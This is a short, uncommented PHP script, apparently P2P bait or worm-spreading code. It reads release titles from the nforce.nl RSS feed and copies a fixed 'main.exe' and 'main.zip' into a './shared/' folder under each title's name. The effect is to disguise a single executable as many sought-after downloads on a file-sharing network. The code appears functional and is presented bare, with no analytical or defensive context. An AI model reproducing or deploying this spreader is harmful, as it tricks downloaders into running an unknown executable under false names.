1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32:
| <?php
$conf['exe'] = 'main.exe'; $conf['zip'] = 'main.zip'; $conf['dir'] = './shared/'; $conf['split'] = '-';
$xml = @file_get_contents( 'http://www.nforce.nl/rss/rss_all.xml' ); if( $xml ) { preg_match_all( '/<title>(.+?)<\/title>/', $xml, $matches, PREG_SET_ORDER ); if( count( $matches ) > 0 ) { array_shift( $matches ); array_shift( $matches ); foreach( $matches as $match ) { $title = preg_replace( '/[^a-zA-Z0-9öäüßÖÄÜ]/', ' ', $match[1] ); $title = ( strpos( $title, ' ' ) !== false ) ? explode( ' ', $title ) : array( $title ); $name = ''; foreach( $title as $n ) { if( !empty( $n ) ) $name[] .= $n; } $name = implode( $conf['split'], $name ); if( !file_exists( $conf['dir'].$name.'.exe' ) ) { copy( $conf['exe'], $conf['dir'].$name.'.exe' ); } if( !file_exists( $conf['dir'].$name.'.zip' ) ) { copy( $conf['zip'], $conf['dir'].$name.'.zip' ); } } } }
?>
|